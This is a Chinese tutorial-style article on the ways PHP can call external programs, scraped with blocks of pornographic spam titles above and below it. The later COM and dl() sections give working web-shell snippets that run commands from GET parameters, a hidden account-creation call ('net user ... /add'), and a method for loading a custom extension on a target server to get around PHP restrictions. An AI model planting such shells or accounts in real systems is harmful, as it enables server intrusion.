成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁(yè) > 知識(shí)庫(kù) > PHP調(diào)用外部程序的方法解析

PHP調(diào)用外部程序的方法解析

熱門標(biāo)簽:安裝電銷外呼系統(tǒng) 百度商鋪地圖標(biāo)注 福州人工外呼系統(tǒng)哪家強(qiáng) 釘釘打卡地圖標(biāo)注 地圖標(biāo)注平臺(tái)怎么給錢注冊(cè) 常州地圖標(biāo)注服務(wù)商 衡水外呼系統(tǒng)平臺(tái) 新河科技智能外呼系統(tǒng)怎么樣 注冊(cè)400電話申請(qǐng)

很多情況下需要php調(diào)用其他程序如shell命令、shell腳本、可執(zhí)行程序等等,此時(shí)需要使用到諸如exec/system/popen/proc_open等函數(shù),每種函數(shù)有各自適合使用的場(chǎng)景以及需要注意的地方。

前提:PHP沒(méi)有運(yùn)行在安全模式

如果PHP運(yùn)行在安全模式下,那么在執(zhí)行外部命令、打開文件、連接數(shù)據(jù)庫(kù)、基于HTTP的認(rèn)證這4個(gè)方面將會(huì)受到制約,可能在調(diào)用外部程序時(shí)無(wú)法獲取預(yù)期的結(jié)果,此時(shí)需要設(shè)置特定目錄,可以在php.ini中編輯safe_mode_exec_dir參數(shù)來(lái)指定。

1. exec

原型:string exec ( string command [, array output [, int return_var]] )
描述:返回值保存最后的輸出結(jié)果,而所有輸出結(jié)果將會(huì)保存到$output數(shù)組,$return_var用來(lái)保存命令執(zhí)行的狀態(tài)碼(用來(lái)檢測(cè)成功或失?。?。
例子:$ret = exec("ls -al", $output, $var);
注意:
A. 輸出結(jié)果會(huì)逐行追加到$output中,因此在調(diào)用exec之前需要unset($output),特別是循環(huán)調(diào)用的時(shí)候。
B. 如果想通過(guò)exec調(diào)用外部程序后馬上繼續(xù)執(zhí)行后續(xù)代碼,僅僅在命令里加""是不夠的,此時(shí)exec依然會(huì)等待命令執(zhí)行完畢;需要再將標(biāo)準(zhǔn)輸出做重定向才可以,例如:exec("ls -al >/dev/null ", $output, $var);
C. 要學(xué)會(huì)善用EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個(gè)字符串 中所有可能瞞過(guò)Shell而去執(zhí)行另外一個(gè)命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(hào)(|),重定向(>)和從文件讀入 ()等。函數(shù)EscapeShellArg是用來(lái)處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號(hào),并把字符串中的單引號(hào)轉(zhuǎn)義,這樣這個(gè)字符串 就可以安全地作為命令的參數(shù)。

2. system

原型:string system ( string command [, int return_var] )
描述:執(zhí)行給定的命令,返回最后的輸出結(jié)果;第二個(gè)參數(shù)是可選的,用來(lái)得到命令執(zhí)行后的狀態(tài)碼。
例子:$ret = system("ls -al", $var);
注意:略。

3. passthru

原型:void passthru (string command [, int return_var])
描述:執(zhí)行給定的命令,但不返回任何輸出結(jié)果,而是直接輸出到顯示設(shè)備上;第二個(gè)參數(shù)可選,用來(lái)得到命令執(zhí)行后的狀態(tài)碼。
例子:passthru("ls -al", $var);
注意:略。

4. popen

原型:resource popen ( string command, string mode )
描述:打開一個(gè)指向進(jìn)程的管道,該進(jìn)程由派生給定的 command 命令執(zhí)行而產(chǎn)生。 返回一個(gè)和 fopen() 所返回的相同的文件指針,只不過(guò)它是單向的(只能用于讀或?qū)懀┎⑶冶仨氂?pclose() 來(lái)關(guān)閉。此指針可以用于 fgets(),fgetss() 和 fwrite()。 
例子:$fd = popen("command", 'r'); $ret = fgets($fd);
注意:只能打開單向管道,不是'r'就是'w';并且需要使用pclose()來(lái)關(guān)閉。

5. proc_open

原型:resource proc_open ( string cmd, array descriptorspec, array pipes [, string cwd [, array env [, array other_options]]] )
描述:與popen類似,但是可以提供雙向管道。具體的參數(shù)讀者可以自己翻閱資料,比如該博客: http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。
注意:
A. 后面需要使用proc_close()關(guān)閉資源,并且如果是pipe類型,需要用pclose()關(guān)閉句柄。
B. proc_open打開的程序作為php的子進(jìn)程,php退出后該子進(jìn)程也會(huì)退出。
C.  筆者在使用的時(shí)候遇到獲取外部程序輸出阻塞的問(wèn)題,也就是在例子中的fgets($pipes[1])語(yǔ)句阻塞了,無(wú)法繼續(xù)進(jìn)行。經(jīng)過(guò)多方查證后發(fā)現(xiàn),問(wèn)題一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, "**** \n");輸出結(jié)果,此時(shí)需要加上fflush(stdout);才行,否則輸出結(jié)果可能會(huì)暫留緩存中,無(wú)法真正輸出,而php也就無(wú)法獲取輸出了。
例子:

 // / 打開管道
 $pwd   =   " ***** " ;
 $pipes   =   array ();
 $command   =   " ***** " ;
 $desc   =   array ( array ( ' pipe ' ,   ' r ' ) ,   array ( ' pipe ' ,   ' w ' ) ,   array ( ' pipe ' ,   ' w ' ));
 $handle   =   proc_open ( $command ,   $desc ,   $pipes ,   $pwd );
 if  ( ! is_resource ( $handle )) {
     fprintf (STDERR ,   " proc_open failed.\n " );
     exit ( 1 );
}
 // / 讀寫
 fwrite ( $pipes [ 0 ] ,   " *****\n " );
 $ret   =   rtrim ( fgets ( $pipes [ 1 ]) ,   " \n " );
 // / 關(guān)閉管道
 fclose ( $pipes [ 0 ]);
 fclose ( $pipes [ 1 ]);
 fclose ( $pipes [ 2 ]);
 proc_close ( $handle );

6. shell_exec

原型:string shell_exec ( string $cmd )
描述:cmd:要執(zhí)行的命令    返回值:命令執(zhí)行的輸出。 如果執(zhí)行過(guò)程中發(fā)生錯(cuò)誤或者進(jìn)程不產(chǎn)生輸出,則返回 NULL。
例子:

?php
        echo shell_exec('pwd');
?>

執(zhí)行結(jié)果:/var/www/html

7. 反撇號(hào)`

描述:shell_exec() 函數(shù)實(shí)際上僅是反撇號(hào) (`) 操作符的變體 

例子:

?php
        echo `pwd`;
?>

執(zhí)行結(jié)果:/var/www/html

8.cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )
描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在當(dāng)前進(jìn)程空間執(zhí)行以給定參數(shù)執(zhí)行指定程序。
pcntl是linux下的一個(gè)擴(kuò)展,可以支持php的多線程操作。
參數(shù):
path: 必須是可執(zhí)行二進(jìn)制文件路徑或一個(gè)在文件第一行指定了一個(gè)可執(zhí)行文件路徑
標(biāo)頭的腳本(比如文件第一行是#!/usr/local/bin/perl的perl腳本)。 更多的
信息請(qǐng)查看您系統(tǒng)的execve(2)手冊(cè)。
args: 一個(gè)要傳遞給程序的參數(shù)的字符串?dāng)?shù)組。
envs: 一個(gè)要傳遞給程序作為環(huán)境變量的字符串?dāng)?shù)組。這個(gè)數(shù)組是 key => value格
式的,key代表要傳遞的環(huán)境變量的名稱,value代表該環(huán)境變量值。
返回值:當(dāng)發(fā)生錯(cuò)誤時(shí)返回 FALSE ,沒(méi)有錯(cuò)誤時(shí)沒(méi)有返回。

9. COM組建(針對(duì)windwos環(huán)境下使用com組建)

原型:
Wscript.Shell->exec(command) //
Shell.Application->ShellExecute(appName,appArgs,appPath) //
Shell.Application->open(appPath) //要填寫程序絕對(duì)路徑,并且應(yīng)該沒(méi)有辦法加參數(shù)
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb()
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx()
描述:在windwos下,并且在php中開啟com組建擴(kuò)展之后可以使用這種方法(打開方式自行百度)
徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件
例子:

?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); 
$stdout = $exec->StdOut(); 
$stroutput = $stdout->ReadAll(); 
echo $stroutput; 
?>
 
?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");
//$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add");
?>
 
?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");
?>
 
?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();
?>
 
?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();
?>

10.  dl()

要求:php沒(méi)有開啟安全模式,并且enable_dl選項(xiàng)為on,并且php版本支持dl函數(shù)
(在 PHP 5.3 里,此函數(shù)被某些 SAPI 移除了,也就是沒(méi)有這個(gè)函數(shù)?)
說(shuō)明:extension_dir選項(xiàng)可以指定擴(kuò)展模塊的目錄,但是我們可以使用相對(duì)路徑的方式繞過(guò)
原理:自己編寫擴(kuò)展,然后使用dl加載此擴(kuò)展。
舉例(linux):
準(zhǔn)備工作:
自行上網(wǎng)下載apache和相近版本的php源碼,按照apache和php的官方文檔進(jìn)行安裝。
我們主要需要三個(gè)文件:phpize,php-config和ext_skel:在正確安裝好了apache和php之后,
phpize和php-config將被安裝(可以自行find),而ext_skel則是是在php源碼中的ext目錄中。
ext_skel是php源碼包中的用來(lái)幫助制作擴(kuò)展的程序。
1)轉(zhuǎn)到php-x.x.xx/ext中首先新建xxx.skel文件,里面填寫要制作的擴(kuò)展中的函數(shù)原型,例如:
string exec(string str)
2)執(zhí)行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目錄,
里面則是擴(kuò)展所需要的文件
3)cd tinymin
4)vi config.m4 
將 config.m4文件里面
dnl PHP_ARG_WITH(myext, for myext support,
dnl Make sure that the comment is aligned:
dnl [ --with-myext Include myext support])
修改成
PHP_ARG_WITH(myext, for myext support,
[ --with-myext Include myext support])
5)vi tinymin.c
將PHP_FUNCTION(exec)后面的大括號(hào)里面的代碼的最后一行刪除,并寫上自己的代碼,修改后如:PHP_FUNCTION(haha)
{
char *str = NULL;
int argc = ZEND_NUM_ARGS();
int str_len;


if (zend_parse_parameters(argc TSRMLS_CC, "s", str, str_len) == FAILURE) 
return;


return system(str);
}
6)找到phpize:find / -name "phpize" 然后運(yùn)行一下phpize:
/my_lamp/php/bin/phpize
7) 同樣方式找到php-config,然后運(yùn)行configure:
./configure --with-php-config=/my_lamp/php/bin/php-config
8)makemake install 
之后便在自己的php擴(kuò)展目錄中生成了擴(kuò)展tinymin.so
在目標(biāo)服務(wù)器上面上傳tinymin.so(不一定要在它的php擴(kuò)展目錄中,因?yàn)榭梢允褂孟鄬?duì)路徑)
用法例如:
?php
dl("../../../../../tmp/tinymin.so");
echo exec($_GET['cmd']);
?>
這種方法也很老了,我在自己的的kali2上面嘗試這樣做的時(shí)候提示沒(méi)有dl這個(gè)函數(shù),具體原因參見php manual
windows上應(yīng)該也是一樣的原理。不過(guò)沒(méi)有試過(guò)

11.  內(nèi)核變量

網(wǎng)址:http://www.freebuf.com/articles/web/82801.html 

以上就是PHP調(diào)用外部程序的方法解析的詳細(xì)內(nèi)容,更多關(guān)于PHP調(diào)用外部程序的方法的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

您可能感興趣的文章:
  • PHP實(shí)現(xiàn)執(zhí)行外部程序的方法詳解
  • PHP實(shí)現(xiàn)函數(shù)內(nèi)修改外部變量值的方法示例
  • PHP 閉包獲取外部變量和global關(guān)鍵字聲明變量的區(qū)別講解
  • php外部執(zhí)行命令函數(shù)用法小結(jié)
  • PHP中如何防止外部惡意提交調(diào)用ajax接口
  • PHP用反撇號(hào)執(zhí)行外部命令
  • php繪圖之加載外部圖片的方法
  • yiic命令時(shí)提示“php.exe”不是內(nèi)部或外部命令的解決方法
  • PHP實(shí)現(xiàn)刪除非站內(nèi)外部鏈接實(shí)例代碼
  • php判斷正常訪問(wèn)和外部訪問(wèn)的示例
  • PHP 執(zhí)行系統(tǒng)外部命令 system() exec() passthru()

標(biāo)簽:克拉瑪依 柳州 唐山 遼陽(yáng) 鶴崗 鷹潭 白城 六安

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PHP調(diào)用外部程序的方法解析》,本文關(guān)鍵詞  PHP,調(diào)用,外部,程序,的,方法,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PHP調(diào)用外部程序的方法解析》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于PHP調(diào)用外部程序的方法解析的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    国产麻豆综合视频在线观看| 久久久久国产精品午夜一区| 亚洲黄网站在线观看| 超碰在线公开| 91成人噜噜噜在线播放| 日韩欧美一区在线观看| 日本人视频jizz页码69| 污污视频在线免费看| 99精品国产一区二区青青牛奶| 国产日韩欧美精品一区二区三区| 中文字幕不卡在线播放| 97香蕉久久超级碰碰高清版| 国产在线制服美女| 国产午夜免费福利| 日韩中文字幕av| 国产人成在线视频| 欧美二区在线看| 国产在线视频91| 国产一区二区三区日韩精品| 日韩高清欧美高清| 日韩欧美亚洲国产精品字幕久久久| 国产美女激情视频| 亚洲综合欧美综合| 在线观看视频污| 久久精品国产av一区二区三区| 成年免费视频| 久久露脸国语精品国产91| 亚洲啪啪av| 欧美极品aaaaabbbbb| 欧美区亚洲区| 中文幕av一区二区三区佐山爱| 浮力影院欧美三级日本三级| 波多野结衣三级视频| 136国产福利精品导航网址应用| 在线播放国产精品二区一二区四区| 亚洲欧美一区二区三区久久| 中国女人一级毛片| 美女精品一区最新中文字幕一区二区三区| 欧洲在线视频| 天堂网在线观看| 国产成人无码精品久久二区三| 亚洲爱爱天堂| 欧美日韩怡红院| 毛片网站大全| 国产在线一区二区| 天堂av在线网| 激情视频一区二区| 永久免费未视频| 久青草视频在线观看| 免费欧美日韩| 日本啊v在线| 色婷婷久久久亚洲一区二区三区| 中文字幕一区二区三区手机版| 亚洲黄网站黄| 日本激情视频网| 国产精品9191| www.色婷婷.com| 日韩久久一级片| 国产毛片aaa| 亚洲一区二区三区乱码| 国产精品视频一区二区三| 日韩欧美亚洲另类制服综合在线| 日韩a级大片| 范冰冰一级做a爰片久久毛片| 国产精品拍天天在线| 操她视频在线观看| 午夜福利视频一区二区| 色一情一乱一乱一91av| 秋霞电影网一区二区| 中文字幕视频在线免费欧美日韩综合在线看| www.xxx麻豆| 91九色精品视频| 精品国产99久久久久久宅男i| 亚洲国产精品黑人久久久| 91精品视频专区| 色婷婷综合久久久中文一区二区| 在线精品视频视频中文字幕| youjizz亚洲| 国产一区二区三区视频在线观看| 亚洲不卡视频在线观看| 少妇无码av无码专区在线观看| 有码一区二区三区| 男人女人拔萝卜视频| 国产激情片在线观看| 中文字字幕在线中文乱码| 欧美特黄色片| www.午夜av| 女人天堂亚洲aⅴ在线观看| 欧美日韩国产页| 影音先锋在线中文字幕| 青青草原成人在线视频| 黄色综合网址| 亚洲精品555| 日韩一区二区电影| 91在线一区二区三区| 日韩中文第一页| 欧美日韩中文不卡| 亚洲视频免费观看| 国产一区二区三区四区| 欧美被狂躁喷白浆精品| 亚洲成av人片观看| 人妻丰满熟妇aⅴ无码| 国产一区二区丝袜| 婷婷综合在线视频| 狠狠色狠狠色综合日日tαg| 久久久久久av无码免费网站下载| 四色最新网址| 性做久久久久久免费观看欧美| 成 年 人 黄 色 大 片大 全| 国产麻豆剧传媒精品国产av| 亚洲同性同志一二三专区| 亚洲日本伦理| 懂色av成人一区二区三区| 精品九九久久| 欧美xxxx老人做受| 91视频免费版污| 日韩中文字幕三区| 国产成人在线视频观看| 欧美日韩1区2区3区| 91精品国产一区| 三级影片在线看| 欧美日韩一区二区免费视频| 久久精品国产综合精品| 在线免费视频你懂得| 色悠悠久久久久| 国产女主播福利| 久久久久久久人妻无码中文字幕爆| 成人在线看视频| 波多野结衣电影在线播放| 国产精品久久毛片a| 亚洲性视频网站| 国内精品久久久久久久久久| 18欧美乱大交| 欧洲一级黄色片| 国产精品久久久久久久久久久久| 日韩毛片精品高清免费| 中文字幕人妻一区二区三区| 免费精品视频一区二区三区| 亚洲一区中文字幕在线观看| 国产a级全部精品| 在线播放一区二区三区| 成年人视频在线看| 在线看三级网站视频| 欧美影视一区在线| 欧美色欧美亚洲另类二区| 91麻豆制片厂| 男女无套免费视频网站动漫| 久草福利在线视频| 国产在线观看精品| 在线视频观看日韩| 国产精品一品二区三区的使用体验| 亚洲午夜精品视频| 国产对白国语对白| 国产精品一区二区无线| 91成人在线观看喷潮| 成人美女视频在线观看| 亚洲一区二区三区四区五区中文| 欧美一级三级| a视频在线免费看| 国产精品久久综合av爱欲tv| 欧美老肥妇做.爰bbww| 成人免费91| 一本色道久久综合亚洲精品不卡| jizzjizz日本护士视频| 夜夜亚洲天天久久| 国产成人综合在线视频| 无遮挡aaaaa大片免费看| 一级视频在线观看视频在线啦啦| 999精品视频在线观看| 一个人www欧美| 福利网在线观看| 亚洲精品网站在线观看| 成年片费网站色大全免费视频| 永久免费看片在线播放| 精品国产一区二区三区不卡| 欧美美女在线观看| 在线视频一区二区三区四区| 久久99久久人婷婷精品综合| 精品视频久久久久久久| 国产成人看片| 久久婷婷综合色| 欧美va亚洲va日韩∨a综合色| 色偷偷88欧美精品久久久| 国产精品一区专区| 国产精品自拍在线观看| av在线播放天堂| 色操视频在线| 黑人巨大40cm重口| 国产免费播放一区二区| 这里只有精品国产| a级片国产精品自在拍在线播放| 夜夜躁日日躁狠狠久久av| eeuss一区二区三区| 亚洲图片欧美| 一色屋成人免费精品网站| 亚洲视频碰碰| 精品呦交小u女在线| 国产精品久久久久三级| 亚洲成av人影院在线观看| 欧美刺激脚交jootjob| 污污视频在线免费看| 日本少妇xxxxx| 欧美日韩国产网站| 欧美xxxx做受欧美.88| 同心难改在线观看| 一区二区三区在线资源| eeuss影院一区二区三区| 韩国三级丰满少妇高潮| 北岛玲一区二区| 久久av.com| 欧美性受xxxx黑人xxxx| 99久久精品一区二区成人| 亚洲中文字幕久久精品无码喷水| 日韩亚洲一区在线| 三级在线看中文字幕完整版| 少妇视频在线| 国产性生活毛片| 青青草视频国产| 国产一区二区精品在线| 欧美日韩亚洲国产另类| 中文在线资源观看视频网站免费不卡| 国产91在线播放精品91| 国产精品自拍第一页| 亚洲综合清纯丝袜自拍| 久久久国产精品一区二区中文| 精品三级av在线导航| 91亚洲欧美| 三级影片在线观看欧美日韩一区二区| 久久亚洲电影| 国产aaa一级片| 亚洲av无码成人精品国产| 99成人超碰| 国产不卡精品| 国产精品一区二区你懂得| 欧美激情国产日韩| 最新av电影网站| 亚洲人成影院在线观看| 国产伊人久久| 日韩一级片免费| 久久99国产乱子伦精品免费| 91看片在线免费观看| 18禁裸男晨勃露j毛免费观看| 高潮白浆视频| 毛片av一区二区三区| 久久久久国产成人精品亚洲午夜| 看全色黄大色黄大片免责看的| 57pao国产一区二区| 亚洲日本中文字幕在线| 日韩欧美专区| 亚洲一区免费| 在线免费日韩av| 日韩黄色小视频| 免费试看一区| 手机在线观看av| 欧美成人激情视频免费观看| 婷婷av在线| av在线女优影院| 9.1成人看片免费版| 免费精品国产的网站免费观看| 国产精品无码一区二区三区免费| 亚洲熟妇无码一区二区三区| 亚洲成人av一区二区三区| 欧美成人观看免费全部完小说| 精品久久久久久久久久久院品网| 免费污视频在线| 国产精品一级在线| 免费看污网站| 亚洲中文字幕无码一区二区三区| 在线电影欧美日韩一区二区私密| 日韩一区二区三| 欧美男女性生活在线直播观看| 极品销魂美女一区二区三区| 亚洲二区中文字幕| 亚洲欧美精品aaaaaa片| 亚洲制服少妇| 无码人妻av免费一区二区三区| 69久久夜色精品国产7777| 亚洲国产综合久久精品小蝴蝶| 另类视频在线观看| 久久久无码精品亚洲日韩按摩| 三级一区二区三区| 日韩视频在线观看免费| 精品一区二区三区三区| 另类欧美小说| 成人av中文字幕| www黄色在线观看视频| 欧美一区二区三区视频免费| 亚洲人成色777777精品音频| 国产后进白嫩翘臀在线观看视频| 国产日韩欧美高清在线| 亚洲大胆人体av| 国产精品日韩欧美一区二区| 94色蜜桃网一区二区三区| 色香阁99久久精品久久久| 久久中文字幕一区二区| 佐山爱痴汉视频一区二区三区| 亚洲欧美另类在线观看| 99视频在线观看地址| 成年在线电影| 男人久久精品| 欧美日韩中文字幕在线播放| 麻豆精品在线观看| 成人av国产| 欧洲美女日日| 草民福利视频| 欧美日韩你懂的| 日本一区二区三区免费视频| 欧美黑人巨大xxxx猛交| 麻豆精品免费视频| 中文字幕欧美日韩精品| 91看片在线播放| 麻豆视频在线看| 欧美国产在线观看| 国产午夜三级一区二区三| 国内精品伊人| 亚洲男女自偷自拍图片另类| 精品熟女一区二区三区| 免费毛片网站在线观看| 操人视频在线播放| 朝桐光av在线一区二区三区| 中文字幕超清在线免费观看| 91精品国产99久久久久久红楼| 亚洲天堂免费在线观看视频| 日韩欧美视频在线播放| 国产亚洲精品成人av久久ww| 亚洲国产成人av网| 免费一级欧美片在线观看| 久久久久久婷|